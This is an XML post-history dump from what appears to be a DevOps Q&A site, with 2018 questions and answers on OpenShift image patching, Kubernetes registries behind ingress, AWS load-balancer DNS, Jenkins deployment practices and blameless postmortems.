  <row Id="14568" PostHistoryTypeId="2" PostId="4639" RevisionGUID="2994c2b6-2c64-4d36-876a-3e38f6b76af0" CreationDate="2018-07-30T16:59:52.043" UserId="8963" Text="Our applications are based on tomcat, strictly speaking on tomcat base s2i image provided by RedHat. This is updated quite frequently, and we need to comply to some regulations and apply the updates. This basically means, that with every single update, we need to replace the base image of each of a few hundred ones deployed. There is about twenty something applications, each in a few different code versions, so cannot be simplified with tagging. I was thinking of extracting tomcat/JDK somehow to another supply chain, but there it gets complicated as well. &#xD;&#xA;&#xD;&#xA;I'd appreciate any ideas." ContentLicense="CC BY-SA 4.0" />
  <row Id="14569" PostHistoryTypeId="1" PostId="4639" RevisionGUID="2994c2b6-2c64-4d36-876a-3e38f6b76af0" CreationDate="2018-07-30T16:59:52.043" UserId="8963" Text="How to avoid an avalanche of images in Openshift when security patches keep coming in?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14570" PostHistoryTypeId="3" PostId="4639" RevisionGUID="2994c2b6-2c64-4d36-876a-3e38f6b76af0" CreationDate="2018-07-30T16:59:52.043" UserId="8963" Text="&lt;security&gt;&lt;openshift&gt;&lt;tomcat&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14571" PostHistoryTypeId="2" PostId="4640" RevisionGUID="9c4e910d-8796-458e-8215-a671a417d2df" CreationDate="2018-07-30T17:03:46.293" UserId="9024" Text="I try to setup `docker-registry` in `Kubernetes` cluster behind the `nginx-ingress` controller.&#xD;&#xA;The issue is, when I try to push the image into private registry, it tells me:&#xD;&#xA;&#xD;&#xA;&gt; Get https://registry.local/v2/: x509: certificate is valid for ingress.local, not registry.local&#xD;&#xA;&#xD;&#xA; When I `curl` it, I get response from ingress' backend - 404.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's ingress' manifest:&#xD;&#xA;&#xD;&#xA;    kind: Ingress&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;    metadata:&#xD;&#xA;      name: docker-ingress&#xD;&#xA;      annotations:&#xD;&#xA;        kubernetes.io/ingress.class: &quot;nginx&quot;&#xD;&#xA;    spec:&#xD;&#xA;      tls:&#xD;&#xA;      - hosts: [ 'registry.local' ]&#xD;&#xA;      - secretName: registry&#xD;&#xA;      rules:&#xD;&#xA;      - host: registry.local&#xD;&#xA;        http:&#xD;&#xA;          paths:&#xD;&#xA;          - backend:&#xD;&#xA;              serviceName: docker-registry&#xD;&#xA;              servicePort: 5000&#xD;&#xA;            path: /&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And here's docker-registry manifest:&#xD;&#xA;&#xD;&#xA;    kind: Deployment&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: docker-registry&#xD;&#xA;      name: docker-registry&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          app: docker-registry&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: docker-registry&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;          - command:&#xD;&#xA;            - /bin/registry&#xD;&#xA;            - serve&#xD;&#xA;            - /etc/docker/registry/config.yml&#xD;&#xA;            env:&#xD;&#xA;            - name: REGISTRY_HTTP_ADDR&#xD;&#xA;              value: 0.0.0.0:5000&#xD;&#xA;            - name: REGISTRY_STORAGE_FILESYSTEM_ROOTDIRECTORY&#xD;&#xA;              value: /var/lib/registry&#xD;&#xA;            - name: REGISTRY_HTTP_TLS_CERTIFICATE&#xD;&#xA;              value: /certs/ca.crt&#xD;&#xA;            - name: REGISTRY_HTTP_TLS_KEY&#xD;&#xA;              value: /certs/domain.key&#xD;&#xA;            image: registry:2.6.2&#xD;&#xA;            imagePullPolicy: IfNotPresent&#xD;&#xA;            name: docker-registry&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 5000&#xD;&#xA;              name: http&#xD;&#xA;              protocol: TCP&#xD;&#xA;            volumeMounts:&#xD;&#xA;            - mountPath: /var/lib/registry&#xD;&#xA;              name: image-store&#xD;&#xA;            - mountPath: /certs&#xD;&#xA;              name: certs&#xD;&#xA;          volumes:&#xD;&#xA;          - name: image-store&#xD;&#xA;            emptyDir: {}&#xD;&#xA;          - name: certs&#xD;&#xA;            configMap:&#xD;&#xA;              name: certs&#xD;&#xA;    ---&#xD;&#xA;    kind: Service&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: docker-registry&#xD;&#xA;      name: docker-registry&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;      - name: http&#xD;&#xA;        port: 5000&#xD;&#xA;        protocol: TCP&#xD;&#xA;        targetPort: 5000&#xD;&#xA;      selector:&#xD;&#xA;        app: docker-registry&#xD;&#xA;      type: ClusterIP&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;Separetly, nginx-ingress and docker-registry, work fine, but don't together.&#xD;&#xA;&#xD;&#xA;Nothing valuabe from the ingress controller logs can be found." ContentLicense="CC BY-SA 4.0" />
  <row Id="14572" PostHistoryTypeId="1" PostId="4640" RevisionGUID="9c4e910d-8796-458e-8215-a671a417d2df" CreationDate="2018-07-30T17:03:46.293" UserId="9024" Text="Kubernets docker registry behind nginx-ingress" ContentLicense="CC BY-SA 4.0" />
  <row Id="14573" PostHistoryTypeId="3" PostId="4640" RevisionGUID="9c4e910d-8796-458e-8215-a671a417d2df" CreationDate="2018-07-30T17:03:46.293" UserId="9024" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;ingress&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14574" PostHistoryTypeId="2" PostId="4641" RevisionGUID="d3856bce-ea17-4f7a-91ad-6536f69bd81d" CreationDate="2018-07-30T22:57:24.893" UserId="6362" Text="No.  The ELB IPs may always change without notice.  The only way to get a stable IP is an EIP and do the proxy yourself, or their new NLBs.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="14578" PostHistoryTypeId="5" PostId="4641" RevisionGUID="abe87b05-b3d0-45a7-8b6a-ef51d9bffee0" CreationDate="2018-07-30T23:59:22.787" UserId="6362" Comment="added 317 characters in body" Text="No.  The ELB IPs may always change without notice.  The only way to get a stable IP is an EIP and do the proxy yourself, or their new NLBs.  &#xD;&#xA;&#xD;&#xA;If you mean can you set a DNS entry going straight to the IPs yourself, no (well you can, but don't).  Amazon maintains the DNS entry they put atop it, but if you try to set your own with its own TTL you can absolutely have a broken IP for however long your TTL is.  CNAME to their provided DNS name as necessary." ContentLicense="CC BY-SA 4.0" />
  <row Id="14579" PostHistoryTypeId="50" PostId="4023" RevisionGUID="67cdaecd-dd8b-42f5-b08d-51b6fa2b93c1" CreationDate="2018-07-31T00:01:10.227" UserId="-1" />
  <row Id="14580" PostHistoryTypeId="2" PostId="4643" RevisionGUID="f773bc6f-3150-4e2c-9e2d-1e0e2da56d0d" CreationDate="2018-07-31T03:50:07.630" UserId="6362" Text="Yes, you should include names.&#xD;&#xA;&#xD;&#xA;&quot;Blameless&quot; postmortems do need to have detailed information and not be bowdlerized.  Let me quote from one of the most definitive sources on blameless postmortems, [the Etsy blog post that started it all][1].&#xD;&#xA;&#xD;&#xA;&gt; **A Blameless Post-Mortem**&#xD;&#xA;&gt; &#xD;&#xA;&gt; What does it mean to have a ‘blameless’ Post-Mortem?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Does it mean everyone gets off the hook for making mistakes? No.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Well, maybe. It depends on what “gets off the hook” means. Let me explain.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Having a Just Culture means that you’re making effort to balance safety and accountability. It means that by investigating mistakes in a way that focuses on the situational aspects of a failure’s mechanism and the decision-making process of individuals proximate to the failure, an organization can come out safer than it would normally be if it had simply punished the actors involved as a remediation.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Having a “blameless” Post-Mortem process means that engineers whose actions have contributed to an accident can give a detailed account of:&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - what actions they took at what time,&#xD;&#xA;&gt;  - what effects they observed,&#xD;&#xA;&gt;  - expectations they had,&#xD;&#xA;&gt;  - assumptions they had made,&#xD;&#xA;&gt;  - and their understanding of timeline of events as they occurred.&#xD;&#xA;&gt; &#xD;&#xA;&gt; …and that they can give this detailed account without fear of punishment or retribution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The ENTIRE POINT of blameless postmortems is not to hide names, but so that people can boldly state what they did in the open without fear of punishment or retribution. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://codeascraft.com/2012/05/22/blameless-postmortems/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14581" PostHistoryTypeId="2" PostId="4644" RevisionGUID="6080da66-e7f9-4aa1-80ca-9f01ba3c0b4b" CreationDate="2018-07-31T03:55:48.257" UserId="8514" Text="I have deployed my application on cloud using Openshift. I tried few blogs but could not find out the best ways to implement the Load Balancing . Please help." ContentLicense="CC BY-SA 4.0" />
  <row Id="14582" PostHistoryTypeId="1" PostId="4644" RevisionGUID="6080da66-e7f9-4aa1-80ca-9f01ba3c0b4b" CreationDate="2018-07-31T03:55:48.257" UserId="8514" Text="How to implement the Load Balancing in Openshift ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14583" PostHistoryTypeId="3" PostId="4644" RevisionGUID="6080da66-e7f9-4aa1-80ca-9f01ba3c0b4b" CreationDate="2018-07-31T03:55:48.257" UserId="8514" Text="&lt;docker&gt;&lt;openshift&gt;&lt;loadbalancing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14584" PostHistoryTypeId="2" PostId="4645" RevisionGUID="c87452f6-9fb2-48b0-a662-c45550e50c2d" CreationDate="2018-07-31T05:49:37.853" UserId="8463" Text="I am new to Salt-Stack wanted to know where are all the dunder dictionaries stored(Ex:__salt__,__opts__,__grains__,__beacons__ etc).&#xD;&#xA;&#xD;&#xA;Thanks in Advance :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="14585" PostHistoryTypeId="1" PostId="4645" RevisionGUID="c87452f6-9fb2-48b0-a662-c45550e50c2d" CreationDate="2018-07-31T05:49:37.853" UserId="8463" Text="Where are dunder dictionaries stored in salt?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14586" PostHistoryTypeId="3" PostId="4645" RevisionGUID="c87452f6-9fb2-48b0-a662-c45550e50c2d" CreationDate="2018-07-31T05:49:37.853" UserId="8463" Text="&lt;deployment&gt;&lt;configuration-management&gt;&lt;configuration&gt;&lt;salt&gt;&lt;storage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14587" PostHistoryTypeId="2" PostId="4646" RevisionGUID="fc48183e-450e-49d4-857d-0bfd6e7d5dbc" CreationDate="2018-07-31T16:02:05.033" UserId="8963" Text="The simplest way is to find the icon that scales the application up and click it. In the current UI it's in Project --&gt; Overview --&gt; expand the application info (&quot;&gt;&quot; icon to the left), --&gt; click &quot;^&quot; next to the blue circle to the right. &#xD;&#xA;&#xD;&#xA;This gives you a default load-balancing across as many PODs (instances) of the application as your resources and imagination allow.&#xD;&#xA;&#xD;&#xA;From the command line, this would scale it to 3 PODs:&#xD;&#xA;&#xD;&#xA;    oc scale --replicas=3 rc yourapplicationname&#xD;&#xA;&#xD;&#xA;Another way is to deploy the same application with a different name, and then edit the route (Applications --&gt; Routes --&gt; RouteName) that points to it. There should be an option:&#xD;&#xA;&#xD;&#xA;&gt; Alternate Services / Split traffic across multiple services&#xD;&#xA;&#xD;&#xA;This gives you control over how much traffic you want through each version. Good for A/B testing or canary releases." ContentLicense="CC BY-SA 4.0" />
  <row Id="14588" PostHistoryTypeId="2" PostId="4647" RevisionGUID="3262fc9f-1ad8-4b6e-a153-9ce33bc6f89f" CreationDate="2018-07-31T16:23:32.983" UserId="9036" Text="Depends on where the source data is when considering how you want to initialise the database. &#xD;&#xA;&#xD;&#xA; 1. If the data pre-exists in another SQL-Azure Database you could create a BACPAC and [export the file to a blob store in Azure][1]. Then using PowerShell in your pipeline import [the data into your created database][2]. Bare in mind this will be time costly dependent on the amount of data and the size of the database. &#xD;&#xA; 2. If the data is only small, an approach we have used before to build and populate tables is a [DACPAC][3]. Here we had the create scripts for our tables and then stored procedures with static reference data stored in insert statements which were run after the DAC built the tables &amp; indexes etc. [Here][4] is an example in how to create a DACPAC project in Visual Studio and populate from an exisiting database. Alternatively if you're building from scratch you can add the required database objects to the solution and create them using SQL Statements. &#xD;&#xA; 3. The third option would be streaming data from a source using an Azure Function and blob storage however without knowing more about your set up I can't advise more. &#xD;&#xA;&#xD;&#xA;Hope that helps &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/sql-database/sql-database-export#export-to-a-bacpac-file-using-the-azure-portal&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/sql-database/sql-database-import#import-from-a-bacpac-file-using-powershell&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/vsts/pipelines/targets/azure-sqldb?view=vsts&amp;tabs=designer&#xD;&#xA;  [4]: https://www.c-sharpcorner.com/article/create-sql-server-database-project-with-visual-studio/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14589" PostHistoryTypeId="2" PostId="4648" RevisionGUID="71a94e34-bf6b-4cf2-9bb3-7b5919efd3a7" CreationDate="2018-07-31T20:48:27.833" UserId="249" Text="If you’re talking about using a Route 53 ALIAS record, you cannot set the TTL on it, for this reason. It defaults to a low value, and is managed by AWS for you (to the world it appears as an A record, and it will change often).&#xD;&#xA;&#xD;&#xA;If you’re using a CNAME, then you can set whatever TTL you like. The TTL of the DNS record for the load balancer’s domain will be low, but you don’t need to worry about that. Your only concern in this circumstance is whether you think you’ll be changing the load balancer name or repointing the name elsewhere. If you don’t plan to do that, you can set a high TTL to save a bit of money and milliseconds at load time.&#xD;&#xA;&#xD;&#xA;Either way, the IP addresses themselves will change.&#xD;&#xA;&#xD;&#xA;For help choosing between an ALIAS and CNAME record, see https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/resource-record-sets-choosing-alias-non-alias.html. I’d usually recommend a CNAME unless you’re pointing your root domain, in which case you have to use an ALIAS." ContentLicense="CC BY-SA 4.0" />
  <row Id="14590" PostHistoryTypeId="50" PostId="1877" RevisionGUID="6cf7be2d-fecb-4e7e-ba61-668253251257" CreationDate="2018-07-31T21:01:25.707" UserId="-1" />
  <row Id="14591" PostHistoryTypeId="2" PostId="4649" RevisionGUID="5c6b7490-903e-4277-a543-dbd9313fb92c" CreationDate="2018-07-31T21:05:49.470" UserId="9041" Text="I have 3 environments, each on their own Virtual Network with their own configurations. Do I need to have 3 separate instances of Jenkins if I am to do Continuous Deployments on each of the environments? What are some best practices regrading deploying on a multi environment architecture?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14592" PostHistoryTypeId="1" PostId="4649" RevisionGUID="5c6b7490-903e-4277-a543-dbd9313fb92c" CreationDate="2018-07-31T21:05:49.470" UserId="9041" Text="Best Practices for a multi environment deployment using Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="14593" PostHistoryTypeId="3" PostId="4649" RevisionGUID="5c6b7490-903e-4277-a543-dbd9313fb92c" CreationDate="2018-07-31T21:05:49.470" UserId="9041" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14594" PostHistoryTypeId="2" PostId="4650" RevisionGUID="f02779d7-14bb-43ac-b9c5-5fe107a646ff" CreationDate="2018-08-01T04:20:01.610" UserId="6579" Text="The short answer to your question is no. Jenkins has no need to talk to your production environments but it can if you need it to. In other words, if Jenkins can reach these environments, it can likely interact with them.&#xD;&#xA;&#xD;&#xA;From a best practices approach, typically I recommend using software that will make your deploy as simple and repeatable as possible (e.g. make, Ansible, Terraform, Cloud Formation or Kubernetes).&#xD;&#xA;&#xD;&#xA;Pipelines are capable of handling parallel targets meaning you can build and deploy to all three environments at the same time if you choose to.&#xD;&#xA;&#xD;&#xA;You might want to make your question more precise or detailed in order to garner more feedback.   &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14595" PostHistoryTypeId="2" PostId="4651" RevisionGUID="c45d8e16-050c-4e63-b4ea-946f057c74d4" CreationDate="2018-08-01T05:39:30.393" UserId="4997" Text="I'm trying to migrate our deployment process over to aws code deploy (by following instructions here:https://pionect.nl/autoscaling-aws-laravel-codedeploy-opsworks-chef-automation/). &#xD;&#xA;&#xD;&#xA;when i'm creating the auto-scaling group, i selected the same vpc as my other instances belong to.. however when I do that, it says that it the ec2 instance will not be assigned a public ip. How come? my other instances have the same vpc id and are assigned an ip address just fine.&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/oLdoB.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/ijq1U.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="14596" PostHistoryTypeId="1" PostId="4651" RevisionGUID="c45d8e16-050c-4e63-b4ea-946f057c74d4" CreationDate="2018-08-01T05:39:30.393" UserId="4997" Text="why don't the instances in the auto-scaling group get assigned public ip addresses unless it's a default vpc" ContentLicense="CC BY-SA 4.0" />
  <row Id="14597" PostHistoryTypeId="3" PostId="4651" RevisionGUID="c45d8e16-050c-4e63-b4ea-946f057c74d4" CreationDate="2018-08-01T05:39:30.393" UserId="4997" Text="&lt;amazon-ec2&gt;&lt;aws-vpc&gt;&lt;aws-codedeploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14598" PostHistoryTypeId="2" PostId="4652" RevisionGUID="ba4da0d4-07e0-4c67-8413-b429a1d017dd" CreationDate="2018-08-01T07:00:54.873" UserId="9045" Text="Indeed, this is a pain. I've been fighting with it for the whole day yesterday, but managed to get it working, let's see if our cases are similar enough.&#xD;&#xA;&#xD;&#xA;My guess is that the *usual* `aws configure` configuration with a MFA ARN + the AWS SDK used to develop *kubectl* are not entirely compatible: I have two profiles set for this, one that has its *mfa_serial_arn* and *role_arn* that works as follows:&#xD;&#xA;&#xD;&#xA;* First **aws** command I type, I get prompted for MFA token &#xD;&#xA;* From there onwards, while session is active, I can work without typing in more tokens.&#xD;&#xA;* *kubectl* asks for a token EVERY SINGLE TIME.&#xD;&#xA;&#xD;&#xA;This is bad.&#xD;&#xA;&#xD;&#xA;Now, I set a different profile, without any of the above, and I do the following:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;MFA_TOKEN_VALUE=&lt;type here a MFA token from your device&gt;&#xD;&#xA;aws sts assume-role --role-arn &lt;ARN_OF_DELEGATED_ROLE&gt; \&#xD;&#xA;   --role-session-name  &lt;RANDOM_UNIQUE_NAME&gt; \&#xD;&#xA;   --serial-number &lt;ARN_OF_MFA_DEVICE&gt;\&#xD;&#xA;   --token-code $TOKEN_VALUE&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now, I do a `aws configure set xxxxx yyyyy --profile &lt;CHOSEN_PROFILE&gt;` of the relevant values this should return: aws_secret_access_key, aws_access_key_id and the session name: This creates a **temporary valid** aws profile, that can be used **BOTH** with the aws cli, and kubectl. " ContentLicense="CC BY-SA 4.0" />
  <row Id="14599" PostHistoryTypeId="2" PostId="4653" RevisionGUID="19bb7101-a343-4890-bcdd-68e46b8c81bc" CreationDate="2018-08-01T08:06:30.257" UserId="4997" Text="i got the answer from aws support:&#xD;&#xA;&#xD;&#xA;he reason why you are seeing that notification is because it is in accordance to your launch configuration (staging-1-deploy) settings. During the creation of a launch configuration, the assignment of public IP addresses to EC2 instances defaults to `Only assign a public IP address to instances launched in the default VPC and subnet. (default)` [1]. To support automatic assignment of public IP addresses to your EC2 instances as they are launched, you will have to change the launch configuration settings. Since a launch configuration cannot be edited [2], you can create a new one by copying your current launch configuration. Follow the steps below to achieve this:&#xD;&#xA;&#xD;&#xA;1 - Go to your AWS console, select `Launch Configurations`, select `staging-1-codedeploy` &#xD;&#xA;2 - At the bottom of the details, click the grey `Copy Configuration` button on the right. &#xD;&#xA;3 -  Click`Edit Details` link, then click `Advanced Details` on the resulting page.&#xD;&#xA;4 -  Go to `IP Address Type` and select the second option, `Assign a public IP address to every instance.`&#xD;&#xA;5 - [optional] Change the name of the launch configuration if need be and &#xD;&#xA;6 - Save launch configuration&#xD;&#xA;&#xD;&#xA;You can now proceed to use your new launch configuration for your auto-scaling group and all your EC2 instances will be assigned public IP addresses as desired. &#xD;&#xA;I have attached a few screenshots to show some of the steps described above.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14600" PostHistoryTypeId="2" PostId="4654" RevisionGUID="a86a9254-668e-4d59-ac5f-dfa1f18aab50" CreationDate="2018-08-01T10:15:38.813" UserId="9049" Text="This is a very good question as it is a common anti-pattern to couple `ci/cd` tools with environments.&#xD;&#xA;&#xD;&#xA;Jenkins is a build factory. As such, it should be totally agnostic of the notion of environment, or even delivery.&#xD;&#xA;&#xD;&#xA;The best pratice is to have some sort of staging process and / or interface (if you can afford it: a dedicated delivery software).&#xD;&#xA;&#xD;&#xA;### Staging process&#xD;&#xA;&#xD;&#xA;You should try to create some sort of staging jobs for each environment, in which you'll define the configuration of the environment and bundle the final package with it.&#xD;&#xA;&#xD;&#xA;Next you'll have delivery jobs for each environment.&#xD;&#xA;&#xD;&#xA;### Delivery tools&#xD;&#xA;&#xD;&#xA;In order to do create the staging and delivery jobs, you may use very basic scripting tools, like `shell`, but there are more adapted scripting tools, like `Ansible`, `puppet`, `chef`...&#xD;&#xA;&#xD;&#xA;If you can afford the expense, you may consider investing in a deployment software (I'll mention some that I worked with in the comments section).&#xD;&#xA;&#xD;&#xA;Notice that those softwares manage some kind of environment staging process.&#xD;&#xA;&#xD;&#xA;Obviously, it makes a lot of sens to combine deploy softwares and scripting.&#xD;&#xA;&#xD;&#xA;### Beyond segregating tools and environment&#xD;&#xA;&#xD;&#xA;Since you asked for best practices, it appears to me that it is worth mentioning another commonly found anti-pattern: coupling SCM tools and delivery process.&#xD;&#xA;&#xD;&#xA;It is a very **good** practice to store environment configuration (not passwords or confidential informations, of course) and go live scripts in SCM tools (like `svn` or `git`...). It is however a very **bad** practice to check-out environment configuration and go live scripts DURING the go live. It might simply be unavailable when you need it.&#xD;&#xA;&#xD;&#xA;This check-out phase should be part of the staging process that I mentioned before.&#xD;&#xA;&#xD;&#xA;### Idem potence&#xD;&#xA;&#xD;&#xA;Another best practice is that your scripts should be `idem-potent`: this means that you should be able to play your scripts once to perform the staging and delivery. Then you should be able to play them again and again, and they would not change the state of your system unless something chacked in the configuration.&#xD;&#xA;&#xD;&#xA;### Scaling&#xD;&#xA;&#xD;&#xA;As a final best practice I shall share from direct experice is scalling Jenkins: different teams have different needs and uses of Jenkins. When too many teams share a common Jenkins, there might be issues with resources. The worst case is when a team requires to restart the Jenkins master while another needs to deliver.&#xD;&#xA;&#xD;&#xA;The ideal would be to have one Jenkins per team or per group of teams that share the same goal and delivery planning." ContentLicense="CC BY-SA 4.0" />
  <row Id="14601" PostHistoryTypeId="2" PostId="4655" RevisionGUID="8c3bf99c-a8d4-425f-b3ce-f5372e6d254d" CreationDate="2018-08-01T10:27:46.743" UserId="8332" Text="During development we are continually building a Docker image with the same version (say 0.0.1-development) as there is no need to bump for each minor change. We do eventually bump when additional features are added.&#xD;&#xA;&#xD;&#xA;We've discovered that `kubectl set image deployment/ourdeployment` doesn't force the updated container to be pulled from Dockerhub and run if the version in the image hasn't changed.&#xD;&#xA;&#xD;&#xA;In the deployment we have `imagePullPolicy: Always` but this doens't seem to have any effect.&#xD;&#xA;&#xD;&#xA;Is there a way we can achieve the desried behaviour of pulling down the image even if the version hasn't bumped, replacing the old containers each time?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14602" PostHistoryTypeId="1" PostId="4655" RevisionGUID="8c3bf99c-a8d4-425f-b3ce-f5372e6d254d" CreationDate="2018-08-01T10:27:46.743" UserId="8332" Text="Kubernetes - update pods if version hasn't changed" ContentLicense="CC BY-SA 4.0" />
  <row Id="14603" PostHistoryTypeId="3" PostId="4655" RevisionGUID="8c3bf99c-a8d4-425f-b3ce-f5372e6d254d" CreationDate="2018-08-01T10:27:46.743" UserId="8332" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14604" PostHistoryTypeId="2" PostId="4656" RevisionGUID="8f8356f8-524c-4518-9a33-cb428a39b564" CreationDate="2018-08-01T11:12:36.743" UserId="8621" Text="The main problem here is, that from a Kubernetes point-of-view nothing has changed to your deployment. So nothing gets updated.&#xD;&#xA;&#xD;&#xA;The best solution here would be, that you add something to your image tag, like the git short hash, for example. The your update will just work. Also you will make your deployments re-creatable, when you do it this way.&#xD;&#xA;&#xD;&#xA;If you really want to keep it the way it is, you could add some other information to the deployment, that changes on each deployment, but is not used, like an annotation. But I would not recommend that, since I saw this leading to strange behavior with _old_ pods no being shutdown.&#xD;&#xA;&#xD;&#xA;On a side note: The `imagePullPolicy` is just evaluated, when there _is_ change to your deployment. So basically this flag says: If you do deploy something (e.g. bc there is a new deployment), no matter if you have the image already locally, reload it from the registry." ContentLicense="CC BY-SA 4.0" />
  <row Id="14605" PostHistoryTypeId="2" PostId="4657" RevisionGUID="c82c313d-e364-477f-87d8-84125326e489" CreationDate="2018-08-01T12:01:03.433" UserId="8332" Text="I've just transitioned away from having Jenkins freestyle jobs and having a seperate job for each environment to using Jenkins pipelines (declarative syntax).&#xD;&#xA;&#xD;&#xA;In Jenkins pipelines we have a single file (Jenkinsfile) and define different stages for our different environments (Dev/Staging/Prod) and in those stages we just define different behaviour for each environment. For example, our 'Deploy' stage we will deploy to a different kubernetes namespace/cluster depending on if it's the development or staging environment.&#xD;&#xA;&#xD;&#xA;I like this approach as you only have one Jenkinsfile per project that exists on all branches.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14606" PostHistoryTypeId="2" PostId="4658" RevisionGUID="68afae8e-6f90-4930-9cd3-30e25f6551ab" CreationDate="2018-08-01T15:04:26.870" UserId="9049" Text="I believe there are several anti-patterns in your workflow.&#xD;&#xA;&#xD;&#xA;**1.** Having different developpers pushing to different files to avoid conflicts is to hard of a constraint to be sustainable in the long run.  &#xD;&#xA;**Consequences:**&#xD;&#xA;&#xD;&#xA; * you will not be able to propose coherent tasks to your devs for long&#xD;&#xA; * there will certainly be complexity in the code introduced merely because of the process and not because of business requirements  &#xD;&#xA;&#xD;&#xA;**2.** Late merging to `master` branch  &#xD;&#xA;**Consequences:**&#xD;&#xA;&#xD;&#xA; * you will discover merge issues, technical and business bugs late&#xD;&#xA; * chances are you may not be able to keep your schedule&#xD;&#xA;&#xD;&#xA;Your development process should be **business** oriented, not **tech** oriented. You should ask yourself: _How can we bring value to users faster?_&#xD;&#xA;&#xD;&#xA;The answer to this question is actually the alternative strategy that you talk about! But this cannot be implemented without some change in your workflow and very probably in your organisation.&#xD;&#xA;&#xD;&#xA;Also, please note that trunc based development cannot be a standalone thing: it has to be paired with feature toggling.&#xD;&#xA;&#xD;&#xA;So this is nothing easy here, and nothing to rollout without a serious methodology.&#xD;&#xA;&#xD;&#xA;**Bottom line is:**&#xD;&#xA;&#xD;&#xA;You ask yourself very good questions, and you really should be going forward on this line of thought. However what seems to be ahead of you looks like a team transformation; something to be done with some fire power and / or team mates that are consumed agilists." ContentLicense="CC BY-SA 4.0" />
  <row Id="14607" PostHistoryTypeId="2" PostId="4659" RevisionGUID="d93f6c5b-5377-420d-a301-8b8d372f7a0e" CreationDate="2018-08-01T15:10:29.160" UserId="4163" Text="**Short answer:**  Keep things open, transparent and fun.&#xD;&#xA;&#xD;&#xA;**Long Answer:**&#xD;&#xA;&#xD;&#xA;You have to use names in postmortems.  Postmortems are essential and meant to discover the root cause of problems.  I have been involved in many postmortems where someone was named and it turned out that that named person was not the culprit and talking to the named person was critical to discover the real cause of the problem.  Without the name of the person, this would not have been possible.  So you have to use names.&#xD;&#xA;&#xD;&#xA;As long as humans are involved in any process, mistakes will be made.  So its better to admit that up front, share a laugh about it often, and keep your team in a open and transparent environment where someone can find out names if they needed to and not be afraid or timid to approach anyone.&#xD;&#xA;&#xD;&#xA;If names were stricken from the report, you are kidding yourself if you think names will not be mentioned during post meetings discussions.  This type of non discussion of names can cause &quot;whisper campaign&quot; effect when the person is not around and can cause unneeded gossip and will poison the environment.&#xD;&#xA;&#xD;&#xA;If management requires no names on the postmortem, names will still be used in discussion to verify facts and follow ups.&#xD;&#xA;&#xD;&#xA;An example of keeping it fun for everyone: At a past company, in a .com era start up, we had a lively group of coders(~15), devops(~10) and 20 others in a large open office environment and everyone shared a similar sense of humor.  We had an orange traffic cone that the developers referred to as the &quot;cone of shame&quot;.  &#xD;&#xA;&#xD;&#xA;If someone did not merge correctly, or their changes broke the build or regression testing wasn't all green, the build master would make a judgement on the spot and leave the cone of shame on the monitor of the offender.  A cone on top of the monitor was visible to everyone as you walked into the office.&#xD;&#xA;&#xD;&#xA;We would all come in the next day and see the cone of shame and share a laugh.  Often times the build master had chosen the wrong person and the break was caused by another person and the cone was passed around.  It was proudly wore on your head and seen in a casual office water cooler discussion that day.  It got the team talking, interacting and laughing which is all good for team chemistry.&#xD;&#xA;&#xD;&#xA;You have to keep it open and part of that is not scared of using names and really knowing your team and keeping a fun culture." ContentLicense="CC BY-SA 4.0" />
